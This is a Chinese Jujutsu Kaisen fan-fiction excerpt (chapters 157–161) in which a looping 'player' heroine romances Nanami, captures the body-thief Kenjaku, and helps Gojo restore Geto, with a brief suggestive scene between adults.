“……”今野桃沉默了一瞬,没接话。 她好像有点猜到羂索拿了什么剧本。 不是吧,身为反派底线这么低的吗? 她随意地扯了扯嘴角,加快脚步离开了。如果不是对这周目羂索出人意料的举动产生了好奇,她早就像以往无数次那样送他下地狱了。 玩家当然是不介意顺手刷个好感值啦,但前提是目标得有价值才行。 不能提供奖金的,还是算了吧,浪费时间。 寻思着找个机会把他解决掉的今野桃在马路上晃来晃去,路过一个学校时,听见了微妙的动静。 她蹲在不远处的墙头,听完了这场单方面的霸凌。 很好,伟大的小桃判官,是时候降临了! 清扫工作就从这里开始吧! 活动了一下关节,今野桃舒展身体,跳了下去,精准地一拳撂倒了叫得最大声的那个。 未成年的社会败类总是抱团活动,因为他们只是看起来强大,实则内里无比空虚。他们就像虫子,打死一个又来一个,过不了多久又会不知道从哪里冒出来。 只有把窝点整个端起,连巢穴都打掉,才能还这片土地清净。 今野桃一边无聊地将他们按死,一边感受到身后越来越炽热的视线。 嗯哼,被她的强大迷住了吧?爱上她,理所当然罢了。 看在吉野顺平的好感值快速上升的份上,她可以收他做个小弟。 今野桃察觉到他拽着自己袖子的指尖在微微颤抖,她瞥了一眼少年光洁的额头,那里还没有留下被烟头烫过的疤痕。 还做坏事呢,这么弱气的小孩,长得就是一副“我很好欺负”的样子。 今野桃哼笑一声,掐着他下巴松开,正想说什么,就听见熟悉的声音响起。 她猛地打了个激灵,回过头惊喜地喊出了声。 “七海先生!”她像个挂件一样挂在了男人的身上,眉开眼笑地说道,“你今天下班好早哦。” 七海建人只是微微颔首,摸了摸她的头顶。 “你在这里做什么?”他低声问道。 “是见义勇为!”今野桃理直气壮地踮起脚,鼻尖几乎要碰到他的下巴,“成熟的大人怎么能对校园霸凌视而不见呢!” 原来如此,七海建人心中了然。 “需要帮忙吗?”他的声音里带着淡淡的笑意。 真好听,这个磁性的声音像是片羽毛,轻轻拂过她的耳廓,让她怦然心动。 同样一句话,羂索说出来的就太油腻了,简直让人想吐。 “不用啦。”她摇摇头,“已经结束了。” 今野桃从他的身上跳下来,七海建人的手在她的腰上扶了一下。她对他甜甜的笑了笑,转头看向吉野顺平。 “以后我就住在这附近,如果他们还来欺负你,你就找我,我会给这些家伙一个终身难忘的教训。”她轻蔑地扫了一眼地上躺倒的学生们,嗤了一声,“这次只是个小小的警告,记住了吗。” “记住了记住了……”他们哪敢顶嘴,忙不迭地应下。 吉野顺平忽然上前一步,用柔软的声音说道:“你、你可以给我一个手机号码吗?” 他低下头,耳朵有点泛红。 “或者……别的联系方式也行。” 今野桃顿了顿,回道:“手机号码还是算了,总之,以后还会见面的。”她摆摆手,潇洒地走向了七海建人,“七海先生,我们回家吧。” 七海建人握住了她的手掌,临走时又瞥了一眼还呆呆站在原地的男生。 这一次,他的眼神里少了许多压迫感。 “好可惜啊,我还说去接七海先生下班的呢。”可爱的女友牵着他的手一晃一晃,小声嘟囔着,“看样子只有等明天了。” 七海建人站在她的身侧,平静地说出了一个重大消息:“不用,我辞职了。” “诶?辞职?”今野桃愣了一下。 他以为她会问“为什么辞职”、“接下来有什么打算”之类的问题,但她什么都没说,只是忽然笑了起来,笑容里有点狡黠,像是要做坏事的狐狸。 这个笑容让七海建人有点疑惑,不过他没有多想。不管什么样子的女友,都非常可爱。 然而推开门的那一刻,七海建人就后悔了。 玄关的灯还没来得及开,黑暗中一双柔软的手臂已经缠了上来。带着甜香的呼吸拂过他的下颌,紧接着是温软的唇轻轻地舔过他的唇缝,舌尖试探性地描摹着他的唇形,在他微微怔愣的瞬间,狡猾地抵开齿关。 他当然不会拒绝她,于是门户大开,任由她长驱直入,攻城略地。 这一次,七海建人非常坚定要求先去洗澡。 今野桃同意了,并表示浴室也很有趣。 七海建人:“……” 其实他并没有这个意思…… 但面对女友的盛情邀请,他无法说出一个拒绝的字。 因为没有提前放水,所以只能淋雨,没办法泡澡。七海建人刚刚转身去拿毛巾,只听哗啦一声,头顶的花洒被打开了。细密的水柱倾泻在他的身上,立刻将他单薄的衬衫打湿了。 半透明的布料紧贴在精壮的躯体上,勾勒出若隐若现的肌肉线条。 水珠顺着他垂下的金色发丝滚落,滑过凸起的喉结,最后没入扣得一丝不苟的衣领深处。 “哎呀,不小心打开了花洒,七海先生没事吧。”始作俑者毫无诚意地道歉,嘴角翘起的弧度根本压不下去。 连睫毛都湿漉漉的七海建人还能说什么呢,只能把故意捣乱的女友按在冰凉的墙面上,加重了亲吻的力道。 …… 卧室的门被大力推开,两个纠缠在一起的身影倒在了床上,床垫发出了细微的呻吟。七海建人撑在她上方,呼吸粗重,额前的碎发黏在一起,分不清是因为没擦干的水,还是过于激动的汗。 窗外突然下起了急雨,雨滴拍打玻璃的节奏渐渐和床垫的吱啊声重合。 在急促的喘息中,他听见她笑道:“辞职的话,七海先生明天就不用早起了,是吧 。” “……”七海建人哑然。 “太好了。”她亲热地黏了上来,“可以一直到天亮了。” “?” 会死的吧,就算是咒术师也…… …… [七海建人同居日记] 同居第一天:请假,做。 同居第二天:上班,做。 同居第三天:上班,做。 备注:七海啊七海,你怎能如此堕落!不能再这样下去了! 同居第四天:请假,做。 同居第五天:辞职,做。 第158章 晨光微熹时,七海建人睁开了眼睛。不同于往日醒来时肌肉的酸涩与精神的倦怠,此刻他感受到的是一种从骨髓深处渗出的餍足。 拉得严严实实的卧室里没有一丝光线,让他无法判断现在是什么时候,恍然间也差点分不清自己现在是醒来了还是仍在美梦中。 他刚刚动了动,放在他胸口的手就跟着颤了颤。 修剪得圆润的指甲无意识划过胸肌,带起一阵细微的战栗。 “唔……”埋在被子里的那一团舒展开来,毛绒绒的脑袋一点一点蹭到了他的怀里,发出含糊的鼻音。“七海先生醒了吗?” 七海建人下意识搂住了她,掌心落在她滑腻的肌肤上,好像有什么魔力,让他完全无法挪开。 “嗯。”七海建人顿了顿,他喉结动了动,声音还带着晨起的沙哑,他终于有机会问出这句话了,“你有没有哪里不舒服?” “没有哦。”她抬起一张即便刚刚睡醒也毫无瑕疵的脸蛋,两颊还带着吃饱喝足的红晕,“超级舒服呢。” 空气突然安静了几秒。七海建人别过脸,耳尖微微发烫。 “你快乐就好。”他暗暗松了口气,“你对我使用了你的术式吗?” “是的呢,不可以吗?”她小心翼翼地去看他,“七海先生很反感吗?” “没有。只是觉得你的天赋很高。”七海建人摸了摸她的脸颊。 她趴在他的怀里,沉甸甸的分量让他有一种满足感,好像抱住了属于自己的整个世界。 她羞涩地抿了抿唇,好奇地问道:“七海先生辞职以后打算做什么呢?” 总算问出来了,他还以为她并不关心呢。 明明在情事方面,她总是表现得大方又主动。但被一点小小的夸奖后,却反而会展露出腼腆的一面。 “回去当咒术师吧。”七海建人嗅着她身上的香气,因为使用了相同的沐浴露,所以两人身上的味道其实是一样的。 奇怪的是,她身上的就是感觉更好闻一点。 “如果……”七海建人迟疑了一下,还是开口道,“如果你对这个职业好奇的话,可以暂时跟着我。我受高专的老师五条先生所托,帮他带一个学生。” “我可以去吗?”她的眼睛果然亮了起来,如果有尾巴的话,此时应该会摇得飞快吧,“会不会打扰你工作?” “不会。”七海建人想都没想地说道,“你怎么会打扰我的工作。” 她可比那些学生要听话多了。至少在遇到危险的时候,她既能打,也知道跑。 浑然不觉自己戴上了多厚的滤镜,七海建人觉得自己的女友就是最好的。 “那、那七海先生能给我说说,当咒术师的时候要做什么吗?”她扬起脸期待地问道。 好像也没什么值得提起的…… 七海建人望着天花板思索了片刻。那些在常人眼中惊心动魄的战斗,从他口中说出来却平淡得像在讨论今天的天气:“昨天下午我和虎杖悠仁,就是那个学生一起去祓除了一个一级咒灵。一般来说,在校的学生祓除咒灵时都是至少两人组队,但他的情况比较特殊,就交由我看护。” “哇——七海先生好厉害的样子。”她惊叹道。 “没有,只是五条先生比较信任我。”七海建人声音仍然淡淡,看不出心里其实被女友夸得不好意思了,他停顿了一下,调整了语气,继续说道,“祓除咒灵并不困难,难的是有面对咒灵不害怕的勇气。我想,这一点你已经做到了。” “啊……七海先生是在夸我吗,真叫人难为情。”她纤长的睫毛颤动着,氤氲着水光的眼睛里倒映着他的模样。 七海建人为其中隐含着的热烈情意给晃了晃神,像是被烫到了一般,飞快地移开了视线。 “没有,我只是实话实说罢了。”他轻咳了一声,语速加快,“咒灵如同野生动物,有一定的智慧,等级越高,越是聪明。像昨天我和虎杖同学祓除的那个咒灵就是如此,在将要死亡的时候还试图逃走。” “那它最后逃走了吗?”女人像是在听故事那样,津津有味地听着。 “没有。”七海建人理所当然地说道,“它被我们祓除了。” 咒术师可以越级祓除咒灵,在场的他是一级咒术师,虎杖悠仁有着至少二级的实力,怎么也不可能让它逃走。 不过这里面倒确实还有一点令人疑惑的细节。 “它被祓除前似乎发出了特殊的尖叫,好像在呼唤同伴。奇怪的是,我和虎杖同学在现场等了又等,并未看到第二只咒灵。”七海建人沉思道。 莫非是他的错觉? “有可能是看见七海先生在,所以不敢出现啦。”今野桃笑吟吟地随口说道。 七海建人赧然。 这怎么可能呢,他哪里有这样的名气和威势。 但胸腔里某个地方却悄悄变得柔软——原来在爱人眼里,自己竟是这样无所不能的存在。 “起床吗。”他的指尖掠过她的刘海,他低下头,在她的额头上落下了一个吻,“我去准备早餐。” “好!”。 在陀艮领域潮湿的空气中,漏壶焦躁地踢飞了一块礁石。碎石砸进蔚蓝的海水,激起一片浪花。 它眼中燃烧着愤怒的火光,对羂索大喊道:“夏油!你为什么不让我动手!” 那明明是一个绝佳的机会!既能帮助两面宿傩脱困获得更多手指,还能杀了那个一级咒术师,给真人报仇! 是,它们是打不过杀了真人的那个女人,但这个男人不是她的恋人吗,杀了他,一样可以出气! 羂索冷冷瞥了一眼漏壶,脸上浮现出讥诮的神色开口道:“你是想招惹上死神吗?明知道打不过还要故意惹祸,你这样是在拖我的后腿,耽误正事。” “那你去勾引那个女人就是正事吗?!”漏壶脱口而出,“我看你是昏了头吧!” 羂索的额头上冒出几根青筋。 “我跟你们说不清。”他阴鹜地盯着它,“但如果你们还想继续跟我合作,就最好听我的。” 它们一起上都不是那个女人的对手,难道还指望一对一吗? 杀掉七海建人只会激怒她,毫无其他用处。 漏壶还想说什么,却被花御拦住了。 “行了。”它对漏壶摇了摇头,“就听夏油的吧。”它定定看着男人,属于咒灵的声音空灵而虚幻,“但是夏油,你不要被骗了。人类,都是很狡猾的。” 羂索勾起一抹笑意,对它们颔首说道:“放心,我会为真人报仇的。你们也可以放心,我没有被骗,我只是装作被她迷住了的样子,这都是我计划的一部分。” 这些咒灵不过是他的工具,愿意解释这么多,已经是他有耐心了。 羂索摆摆手,翩然离开。 领域之中,良久的安静后,漏壶阴沉开口:“花御,陀艮,你们说……夏油杰会不会是咒术师那边的间谍?” 第159章 漏壶越说越觉得自己的想法很有道理,它压低了声音对花御道:“你看,夏油杰本来就是咒术师,而且术式还是该死的咒灵操术,你觉得他会是真心实意地跟我们合作吗?” 花御沉默不语,头顶的枝桠被海风吹过。 “他的好友可是五条悟,那个咒术界的最强者。上次我跟他交过手,确实很强。”漏壶皱紧了眉,“你说,他们会不会里应外合,然后 把我们一网打尽?” 花御低头看了它一眼,叹息一声,声音如同深秋的风穿过林间:“既然要合作,就不要想那么多了。” “总之,还是对他留一手比较好。”漏壶的头顶上岩浆翻滚。 它决定自己去打探消息,然后亲手为真人报仇。 当初最支持夏油杰的就是真人,但它已经死了。那么,作为咒灵的它们就应该改变计划。 “收集所有手指献给宿傩,然后让千年前的诅咒之王带领咒灵崛起。”漏壶望着几乎无边无际的大海,喃喃道,“这种完全将希望寄托在外物之上的计划,真的可以成功吗?还是依靠自己比较现实吧。” 花御虽然没有回答,但显然它是站在漏壶这边的。 漏壶咧嘴笑道:“其实就算我们全军覆没也没关系,在百年后的荒野上放声大笑的不一定要是我,只要咒灵能作为‘人’一样站起来便足够了。” 花御颔首,声音仿佛从很远的地方飘过来:“没错。”。 五条悟将虎杖悠仁托付给了七海建人一个半月,因为还有一个半月的时间就是姐妹校交流会了。他计划在那时让虎杖悠仁闪亮登场,给大家一个惊喜,就像魔术师从帽子里突然拽出一只活蹦乱跳的兔子那样。 在五条悟没有任务的时候,他会带着虎杖悠仁,但如果出现他必须离开的任务,虎杖悠仁就要跟着七海建人了。 这位最强咒术师的行程表总是排得满满当当。 此刻,身高接近一米八的少年正可怜兮兮地缩着肩膀,活像只被雨淋湿的小狗。他眨巴着棕色的大眼睛,双手合十。 “七海先生,五条老师让我跟着你。” 七海建人扶了扶鼻梁上的眼镜:“我要回家吃饭了。” “嗯嗯。”虎杖悠仁点头如捣蒜,蓬松的粉色头发跟着一晃一晃,“五条老师让我跟着你。” 七海建人深吸了一口气,缓缓吐出:“你还要跟我回家?” 他克制住了打电话给那个不靠谱家伙的冲动。 “可是我不能回学校诶。”少年撅起嘴,两根食指像幼稚园小朋友似的对在一起扭来扭去。这副做派让七海建人太阳穴突突直跳——太像了,简直和五条悟装乖时的模样如出一辙。 ……有点恶心。 真是糟糕啊,五条悟已经出现人传人现象了吗。 没办法,七海建人只能把他带回了家。 “好耶!”得知能去七海家,虎杖立刻满血复活,一个箭步蹦得老高,“可以看到七海先生的女朋友啦!” 一道寒光从镜片上闪过,七海建人挑起眉毛,忽然问道:“五条是不是叮嘱了你什么?” 噶—— 虎杖悠仁僵住。 七海建人差点被气笑了:“老实交代,他让你做什么?” “也、也没什么……”虎杖悠仁扭扭捏捏地说道,“就想让我跟七海先生的女朋友合个影……” 幼稚。 七海建人按下额头上冒出的青筋。 “跟上。”他利落地转身迈步,掏出手机的动作带着几分杀气。 但当电话接通的那一刻,这个向来严肃的男人突然像变了个人——棱角分明的轮廓瞬间柔和下来,连声音都裹了层蜜糖,像是猛虎变成了猫咪。 “我现在回家。”虎杖悠仁站在他的边上,悄悄抬头看他的表情,男人金色的睫毛垂下,眸光里荡漾着温柔涟漪,“你有什么需要我带回去的吗?” 手机那边的回应轻快活泼,好像年纪不大? “不用啦,你早点回家就好。我学了一下怎么煎牛排,等你回来呀。” 七海建人的唇角上扬了些许:“你把冰箱里的牛排都拿出来醒冻吧,我马上就到家,今天有个客人。” “诶?客人?”她的声音低了低,“是你的同事吗?” “不是同事,是个学生。”七海建人顿了顿,说道,“虎杖悠仁,我之前跟你提到过的。” “噢噢,好的!” 挂了通话,七海建人回头,正要叮嘱少年一些事情,结果看见他羞涩的模样。 “原来七海先生还提起过我呀!”他美滋滋地说道,“我就知道七海先生还是喜欢我的!” 之前第一次见面的时候那么严肃,可把他吓坏了! “……”七海建人移开目光,淡淡说道,“快点吧,不然赶不上做饭了。” 什么?竟然是七海先生做饭吗? 看着温柔浅笑地端上茶水的女人,虎杖悠仁的两只眼睛忍不住在他们俩身上打转。 他还以为七海先生的家里是典型的男主外、女主内呢,七海先生负责努力赚钱,然后妻子打理家务。 “第一次泡茶,手艺一般,不要介意哦。”她言笑晏晏地说道。 “没有没有,是我打扰了!”虎杖悠仁忙不迭回答,路上买来的上门礼物就放在沙发边上。 “那你先坐,我去厨房看看有什么要帮忙的。”女人对他点了点头,走向了厨房。 客厅的沙发是背对着开放式厨房的,坐在上面的虎杖悠仁没办法直接看到厨房里的场景。 听着后面传来锅铲碰撞的清脆声响,他有点坐立难安。 要不,他也去帮忙吧? 这么想着,他回过了头。 下一秒,他飞快地把头转了回来。 在刚刚的惊鸿一瞥间,他好像看见了什么不该看见的东西。 他们两人并肩站在料理台前,女人伸出手,抓着男人的袖子,原本板正的衬衫被抓出了一道道褶皱。 男人没有制止她,反而顺着她的力道弯腰,在她的唇上落下了一个轻吻。 他们没有发现虎杖悠仁短暂的回头,在浅浅的交换了一个满含爱意的吻后,很快就分开了。 备菜的间隙,今野桃对七海建人露出狡黠的笑容,她伸出了一点点舌尖,舔过自己的唇缝。 七海建人的耳根浮起薄薄的一层绯色,但这几天也算是经历了高强度的“脱敏治疗”,他没有以前那样容易脸红了。 虎杖悠仁吃到了一顿还算丰盛的西式晚餐。 牛排很好吃,咬下去的时候鲜嫩多汁,黑胡椒的香气让它更加美味。 但虎杖悠仁有点食不下咽。 高专里都是单身狗,大家都一样,所以这还是他头一回和情侣一起吃饭。 就一个词——难受。 那些非常自然的互相喂食,不经意对视后的笑容,还有手指勾缠的小动作,每一个都让他无比痛苦,并且进行了深刻反思。 他怎么敢和热恋期的情侣一起吃饭的啊!他们身上散发出来的甜蜜气息已经快把他的眼睛刺瞎了! “怎么了,是不合你胃口吗?”今野桃关心地问道。 “没、没有!”虎杖悠仁举起手,把宽面条泪和着牛肉咽下,“超级好吃!” “那就好。对了,你今晚要到这里住吗?”她忽然想起来似的问道,“家里有客房哦。” 虎杖 悠仁不说话了。 五条老师是有说让他在七海先生家里借住,但他现在真的非常想要离开诶…… “到这里住吧。”七海建人看了一眼手机,“五条先生已经跟我说了。” “好的……” 呜呜呜,五条老师,我想你了。 虎杖悠仁吸了吸鼻子。 第二天清早,他又被甜蜜情侣暴击了。辅助监督来接他们的时候,他简直热泪盈眶。 “太好了……我的意思是,下次有机会再来拜访!”虎杖悠仁干笑道,一马当先冲进了车子里,坐在后排朝今野桃挥手,“谢谢您的招待!” 今野桃弯了弯眼睛,也朝他们挥手:“不客气,下次再来玩呀。” 车子载着三人渐渐离去,开出去了几分钟,虎杖悠仁才忽然想起自己忘了东西在客房。 “不好意思,七海先生,我下车回去拿一下东西。” “没事,让车子调头回去就是了。” “不用不用,现在可是早高峰,容易堵车。”虎杖悠仁从车子上跳下来,得意地说道,“我跑步很快的,马上就回来!” 说完,人已经一溜烟跑远了。 他的速度确实很快,没多久就看见了公寓楼。就在他将要靠近时,从楼上下来了两个身影。 一个是他刚刚见过的,而另一个非常陌生。 正要开口喊出名字的虎杖悠仁突然瞪大了眼睛,他一个闪身,躲到了旁边的巷子里,从两个垃圾桶中间的缝隙往外看。 只见那个一看就不是个好人的大叔抓着七海先生女友的手,笑得不怀好意。七海先生的女友似乎说了什么,那个大叔低下了头…… 他在七海先生的女友的手背上亲了一口!! 虎杖悠仁瞬间倒吸了一口气。 不好! 有人想要撬七海先生的墙角!! 第160章 虎杖悠仁权衡了一下,没有立刻冲出去。他屏住呼吸,蜷缩在垃圾桶旁的阴影里,瞪圆了眼睛死死盯着公寓楼前的动静。那个大叔胆大包天,竟然还握着七海先生女友的手不放! “啪!” 清脆的巴掌声在寂静的街道上格外响亮。虎杖忍不住握紧拳头——干得漂亮!这一巴掌结结实实扇在对方左脸上! 可那男人居然还在喋喋不休! “啪!” 又是一记响亮的耳光,这次精准命中右脸。虎杖激动得差点跳起来,右脚却不小心狠狠踢在了水泥墙上。 “嘶——”他猛地蹲下身子,疼得直抽冷气。脚趾传来钻心的疼痛,让他眼前一阵发黑,泪水不受控制地涌出眼眶。 呜……好痛啊…… “嗯?是虎杖同学?你在这里做什么?” 熟悉的声音从头顶传来。虎杖抬头,看见今野桃正拎着垃圾袋,歪头打量着他。她身后路灯的光晕给她镀上一层柔和的轮廓,衬得那双眼睛格外明亮。 “今野小姐!”虎杖悠仁龇牙咧嘴的样子把她吓了一跳。 是在找什么东西吗?总不会是刚刚没吃饱吧?都来翻垃圾桶了,怪可怜的。 “我我我,我来拿个东西!”虎杖悠仁极力想要露出一个笑脸,奈何疼痛扭曲了他的五官,让他的表情变得越发狰狞。 “哦……那你跟我上楼吧。”今野桃顿了顿,迟疑地说道,“真的没事吗?跟我说说也没关系的。” “没事没事!”虎杖悠仁连连摆手,蹦跶着跟她回了家。 他把自己的东西收拾好,确认没有遗漏后,这才匆匆赶了回去,七海建人和辅助监督正在原地等他。 刚刚来开车门,里面的两人不约而同地往后仰了仰,辅助监督下意识摇下了车窗。 七海建人捏了捏鼻梁,无奈叹道:“你是去翻垃圾了吗?怎么身上一股味道?” “诶?!”虎杖悠仁低头在自己身上嗅了嗅,好像真的有一股恶心的味道。不过现在他也管不了那么多了,他两只手撑在车椅上,逼近了七海建人,全然不顾对方死活,“七海先生,我有非常重要的事情要跟你说!” 七海建人举起手里的报纸,挡住自己的脸,表达了他的拒绝。 “真的很重要!”他一把拉下报纸,严肃地说道。 七海建人伸出一根手指,抵在虎杖悠仁的肩膀上,把他推远了。 “跟我保持距离。”他闭上眼,眉毛打结,“说吧,你有什么事?” 虎杖悠仁压低了声音:“有人在骚扰今野小姐!” 七海建人的眼神一下变得锐利起来,薄唇抿出了一条直线。 “好像是你的邻居,追着今野小姐下楼,还要去拉她的手呢!绝对心怀不轨!”虎杖悠仁觉得自己必须要维护七海先生这段甜甜蜜蜜的爱情,决不能让外人破坏!“就算被今野小姐打了一顿也还是不死心的样子!” 七海建人攥着报纸的手猛地用力,报纸立刻被撕开了一道口子。 “我知道了。”他深吸一口气,沉声说道,“谢谢你,虎杖同学。” “没关系!”虎杖悠仁一挺胸,脸上写满了正义感,“都是我应该做的!” 成年人的失态只有短短一瞬,很快七海建人就恢复了平静。他把破了的那份放下,换了新的。虎杖悠仁好奇地探头过去,试探性地问道:“七海先生不生气吗?有人在追今野小姐诶!” 七海建人微微侧头,瞥了他一眼。 果然还是个小孩子啊。 “你说有人在骚扰她,那么我会很生气,因为我没有保护好她。但如果有人在追求她,那我不会生气。”他语气平和地说道。 虎杖悠仁似懂非懂,七海先生说得好像很有道理的样子……但他不太能理解呢。 七海建人重新低下头,一边读着报纸,一边缓缓开口:“正如我有一朵玫瑰,它长在我的院子里,路人可以看见它的美丽,却不可以将它折下。” 虎杖悠仁愣了一下。 “而且我相信她,也相信我自己。” ——相信她不会做出违背道德的事情,也相信自己的魅力。 好成熟的发言! 这就是成年人吗? 眼镜挡住了他的目光,让人看不见七海建人的眼神。但虎杖悠仁发现他的嘴角好像微微上翘了一点。 自己这是又被炫了一下吗? 虎杖悠仁不太确定地想。 不过他的心情怎么也突然变得轻松了许多,七海先生能得到幸福,真是太好了! 车子在目的地停下,那里已经站着一个人影。 “哟,娜娜米。”五条悟朝着他们打了个招呼,“你们好慢啊。” “抱歉抱歉,五条老师,都是因为我浪费了一点时间。”虎杖悠仁不好意思地挠了挠头。 “哎呀,没关系哦。”五条悟顺手揉了一把自己学生毛绒绒的头发,“娜娜米,我有点事情跟你说。” 一级咒灵就扔给虎杖悠仁去搞定,两个大人走到了不远处,开始聊起天来。 五条悟用轻快的语气说出了一件可怕的事情。 “娜娜米,我收到了一条短信,上面写了三个特级咒灵的信息和巢穴,以及他们打算把我骗过去封印起来。”他的脸上还挂着笑吟吟的表情,全然不顾七海建人面色大变的模样,“你说是真的还是假的?” “不管是真的还是假的,都必须赶快去确认一下吧!”七海建人真的要拿他没办法了,“能查到是谁发的吗?” “不能哦,是一个完全陌生的号码,我去查了一下号主,也是个普通人,说手机被偷了几个小时才找回来。”五条悟摸着下巴,饶有兴趣地说道,“很有意思吧?直接把短信发到我的私人号码上来了诶。” 私人号码……?所以是熟人吗?还是说信息被泄露了? “别紧张呀,娜娜米。”五条悟的手搭在了七海建人的肩膀上,“如果是坏人,也不会发这样的消息吧。” 七海建人好像知道他要做什么了,立刻投去不赞同的目光。 “也有可能是陷阱。” “哈哈,就算是陷阱又如何呢。”五条悟忽然抬头望了望天空,“我可是最强呢。” 可是……最强也会有心事吗? 一脚把门踹开,木门在巨响中四分五裂,木屑飞溅。三个特级咒灵猛地回头,脸上还凝固着不可置信的表情。 “哇哦,大丰收。”五条悟吹了个口哨,大笑起来,手指屈伸,“术式顺转苍。” “这不可能——!”咒灵们哀嚎着往外逃,却发现外面也早已被咒术师们布下了天罗地网。 一定……一定有人告密了! 被踩在头颅上,鼻间只能嗅到自己的血腥味时,漏壶恍惚地想着。 可惜了,作为咒灵,它们缺少了能和咒术师们抗衡的顶级战力,落败已是必然的结果。 “好了,结束咯。”五条悟再次曲起手指,“虚式……” “等等!我知道了!”漏壶蓦地大喊道,“是夏油杰!是夏油杰出卖了我们对不对!” 五条悟的动作顿住。 他的眉毛拧了起来。 “哈啊?你在说 什么啊?“他按着咒灵脑袋上的那个凸起,将它拎了起来。 漏壶以为他不相信自己,连忙把自以为的叛徒说了出来:“你以为夏油杰是真的想要投靠你吗?他也是在骗你们的!他已经准备好了一个叫做‘狱门疆’的咒具,就等着把你关进去了!” 五条悟愣住了。 他以为是有人在假冒自己好友的身份,但现在看来,似乎情况更加复杂? 那个冒牌货凭什么觉得自己会上当? “他在哪?” “他、他在……”漏壶结结巴巴地说不出来,音量越来越弱。 “是这个吗?”一个清凌凌的声音响起,众人回头,看见一个陌生身影。只有七海建人跑了过去,开口喊道“今野”。 五条悟恍然大悟,原来这就是七海的女友吗? 她扛着一个鼓鼓囊囊的麻袋,里面显然装了什么东西,看起来就沉甸甸的。 七海建人帮她托了一下麻袋的底部,然后将袋子放在地上。被系得很紧的袋口解开后,一个被五花大绑、连嘴巴都被胶带封起来的男人出现在大家面前。 他面如死灰,脸上到处都是伤口。 “你没事吧?”七海建人微微蹙眉,担心地问道。 “没事哒。”今野桃对他弯弯眼睛,像只归巢的鸟儿般扑进七海建人怀里,“他比我弱,打不过我。” 七海建人稳稳地接住了她,轻柔地摸了摸她的头发。他没有在她的身上闻到血腥气,应该是没有大碍。 他的指腹擦过她脸颊上的一道细小划痕:“还是受伤了。” “诶?”她眨了眨眼,突然踮起脚尖凑近,“那七海先生亲一下就不痛啦。” 七海建人哪里会在大庭广众下做出这样出格的事情,隐藏在镜片后的眼睛不轻不重地瞪了她一眼,旋即又软了下去。 “回家……再说。”他的声音几不可闻。 “嘿嘿。”她再次把脸埋进了男人坚实的胸肌里。 小情侣在那边甜甜蜜蜜,五条悟已经在这个假冒的夏油杰面前蹲了下来。 “虽然我的眼睛告诉我,你就是杰,但我的灵魂却在否认这一点。”他扯开眼罩,深深凝视着这个披着“夏油杰”皮囊的怪物,“你到底是谁?” 胶带被用力撕下,羂索对他扯了扯嘴角,假惺惺地说道:“怎么会呢,我就是夏油杰啊,悟。” 五条悟默了默,视线一寸一寸地扫过他。 “短信是你发给我的,对吧。”他湛蓝色的瞳孔倒映出挚友的面容,“杰,你还要让他占据你的身体多久?” 没有人发现,埋在七海建人怀里的女人身体僵了僵。 160-170 第161章 “什么短信,悟,你是不是被骗了?”羂索微微偏头,额前垂落的黑发在脸上投下细碎的阴影,他露出一个恰到好处的困惑表情。 “我已经问过了,知道我号码的人都没有发过短信给我。只有你,杰。”只有这个身陷囹圄里的好友,还有可能这样做。 羂索扯了扯嘴角,他完全不记得有发过短信给五条悟,但五条悟言之凿凿的样子让他心里泛起一丝异样。 难道夏油杰的意识真的还残存在这具身体里?这个念头刚冒出来就被他掐灭——不可能,那点微末的灵魂早该像风中残烛般熄灭了才对。 今野桃眨了眨眼,压下那一点心虚。 她不是第一次干这种用别人手机发短信或者打电话的事情了。 依稀记得好像也是七海的那个周目里,她绑架了伏黑惠后,就是随便摸了个路人的电话发短信给了伏黑甚尔,把他耍得团团转。 最后受伤的却是五条悟和夏油杰,惨遭天与暴君连捅六刀并大骂不要脸。 嗐,周目游戏就是这样的啦,玩的时间越久,得到的小情报就越多。别说五条悟的手机号码了,所有可攻略对象的手机号码她都有呢…… “怎么了?”七海建人还是发现了怀里恋人的不对劲,他以为她是觉得累了,毕竟能把“夏油杰”抓住,应该也不是一件容易的事情吧。 “没什么,就是觉得惊讶,竟然可以霸占别人的身体,完全想不到呢。”今野桃打哈哈地敷衍道。 七海建人眉头微拧,颔首道:“确实,从未听说过还有这样的术式存在……” 但那人看起来和“夏油杰”完全一样,就连“六眼”都无法分辨。 只有五条悟固执地认定那个人不是夏油杰。 那他是谁呢? 羂索死活不可能承认自己是冒牌货,他很清楚,一旦自己承认了,下一秒五条悟就要对他痛下杀手。而五条悟投鼠忌器,又担心自己的挚友是不是真的还没死,只是被禁锢在身体之中。 两人就这样僵持住了。 今野桃踩着轻盈的步子走近,她微微欠身,发丝从肩头滑落。 “你好,五条先生。”她很有礼貌地打了个招呼。 五条悟抬头,今野桃的眼睑颤了颤,好像从他的眼睛里看到了几缕血丝,眼尾也泛着不自然的红。 是哭了吗? “啊,是娜娜米的女朋友啊。”他的声音有些低落,“有什么事吗?” “是这样的,你能确定,这具身体是夏油先生?而里面的灵魂却不是他吗?” “确定。”五条悟语气沮丧,“我很了解杰的,之前读书的时候,他受过伤,胸口上有十字形的疤痕。还有一些小伤口,我都记得。” 噫,黏黏糊糊的挚友情。 “如果是这样的话,或许我可以帮上你的忙。”今野桃的手插在口袋里,语气充满了自信。 五条悟愣了一下,忽然一道灵光闪过。 他一直记着她的术式可能是“抢夺”,却忘了她现在可以使用的那个术式是什么。 ——“无为转变”,据说可以操控灵魂。 他的眼睛骤然亮了起来。 “那你想要什么?”五条悟很聪明地问道。 他和七海的女友并无交集,对方主动提出要帮忙,肯定是有所求了。 “很简单。”今野桃打了个响指,“我想给七海先生请个带薪婚假,和他一起去马来西亚玩。” “可以。”五条悟一口应下,“你们去玩的费用我包了,就当做是新婚贺仪。” 七海建人在旁边微微愣了一下,他似是想说什么,最后却只是低头很轻地笑了笑。 周围的咒术师看见了,不约而同地露出了无语的表情。 他们是来工作的,不是来吃狗粮的!你小子有对象了不起啊! 这边,两人谈妥后,今野桃就蹲在了五条悟边上,伸出手,按在了羂索的头顶。 羂索从两人的对话中听出了猫腻。 他以为今野桃只是把真人杀了,没想到她竟然还夺走了真人的术式吗?! 这不对吧,明明记忆里,她的术式不是这个啊! 黑暗如同粘稠的墨汁,缓慢蚕食着羂索最后的意识。在意识消散的边缘,他似乎听到了一声轻蔑的冷笑,像是一根细针刺入耳膜。 以为自己是猎人,最后却发现自己其实是猎物,多可笑啊。 夏油杰的身体里确实还残存着他本人还未完全泯灭的灵魂,但只有一点点。对其他人来说,复活他是很困难的,就算真人亲自出手也做不到。 但这难不倒无所不能的玩家。 属性不够就氪,再不行就读档。 总之,玩家的逼格不能掉。 夏油杰自黑暗之中苏醒时,耳边听见的就是她轻松的说话声:“成功了。” 